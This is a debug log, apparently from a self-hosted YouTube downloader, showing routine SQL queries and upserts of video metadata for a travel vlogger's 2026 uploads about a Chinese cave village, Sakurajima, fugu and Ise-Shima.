(?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "02f9cdb4-2069-439d-a796-5a77b0f95adb", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", 5, "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, false, false, 3, [], 98, ~U[2026-06-12 16:37:29Z], ~U[2026-08-20 02:30:01Z], ~U[2026-08-20 02:30:01Z], "https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, 3, ~U[2026-06-12 16:37:29Z]] 19:30:01.978 [debug] QUERY OK source="sources" db=0.1ms idle=35.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:01.978 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:30:01.979 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [190542] 19:30:01.979 [debug] Current batch of media processed. Will check again in 1000ms 19:30:02.980 [debug] Current batch of media processed. Will check again in 1000ms 19:30:03.981 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "duration" => 1894, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", "id" => "EIlIbE9HuB4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=EIlIbE9HuB4", "playlist_index" => 6, "timestamp" => 1780066592, "title" => "4,000 People Live On Japan's Most Active Volcano", "upload_date" => "20260529"} 19:30:03.982 [debug] QUERY OK source="sources" db=0.4ms idle=199.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 19:30:03.982 [debug] QUERY OK source="sources" db=0.2ms idle=199.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:03.983 [debug] QUERY OK source="media_items" db=0.3ms idle=200.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 14:56:32Z], 3] 19:30:03.984 [debug] QUERY OK source="media_items" db=0.9ms idle=201.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "7c299068-9356-4d85-9281-b161caca125b", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", 6, "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, false, false, 3, [], 98, ~U[2026-05-29 14:56:32Z], ~U[2026-08-20 02:30:03Z], ~U[2026-08-20 02:30:03Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, 3, ~U[2026-05-29 14:56:32Z]] 19:30:03.984 [debug] QUERY OK source="sources" db=0.2ms idle=39.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:03.985 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:30:03.985 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [129416] 19:30:03.985 [debug] Current batch of media processed. Will check again in 1000ms 19:30:04.986 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "duration" => 2331, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", "id" => "bjb-24XMa1g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bjb-24XMa1g", "playlist_index" => 7, "timestamp" => 1779466243, "title" => "Travelling Across Japan To Poison Myself", "upload_date" => "20260522"} 19:30:04.987 [debug] QUERY OK source="sources" db=0.3ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 19:30:04.987 [debug] QUERY OK source="sources" db=0.2ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:04.988 [debug] QUERY OK source="media_items" db=0.3ms idle=1002.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 16:10:43Z], 3] 19:30:04.998 [debug] QUERY OK source="media_items" db=9.4ms idle=1002.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "6fb346f3-ac1a-4dcf-a3d1-5747120fa7b7", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", 7, "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, false, false, 3, [], 98, ~U[2026-05-22 16:10:43Z], ~U[2026-08-20 02:30:04Z], ~U[2026-08-20 02:30:04Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, 3, ~U[2026-05-22 16:10:43Z]] 19:30:04.998 [debug] QUERY OK source="sources" db=0.3ms idle=51.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:04.999 [debug] QUERY OK source="media_profiles" db=0.2ms idle=11.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:30:04.999 [debug] QUERY OK source="media_items" db=0.3ms idle=11.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [105295] 19:30:05.000 [debug] Current batch of media processed. Will check again in 1000ms 19:30:06.000 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "duration" => 2112, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", "id" => "CvIFRZqadIU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=CvIFRZqadIU", "playlist_index" => 8, "timestamp" => 1777040983, "title" => "Japan Is Losing Something It Can Never Get Back", "upload_date" => "20260424"} 19:30:06.001 [debug] QUERY OK source="sources" db=0.3ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 19:30:06.001 [debug] QUERY OK source="sources" db=0.2ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:06.002 [debug] QUERY OK source="media_items" db=0.3ms idle=1002.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-24 14:29:43Z], 3] 19:30:06.009 [debug] QUERY OK source="media_items" db=6.6ms idle=1002.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "e307019a-d616-4658-a1a8-751e23c72923", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", 8, "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, false, false, 3, [], 98, ~U[2026-04-24 14:29:43Z], ~U[2026-08-20 02:30:06Z], ~U[2026-08-20 02:30:06Z], "Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, 3, ~U[2026-04-24 14:29:43Z]] 19:30:06.010 [debug] QUERY OK source="sources" db=0.2ms idle=61.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:06.010 [debug] QUERY OK source="media_profiles" db=0.2ms idle=8.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", 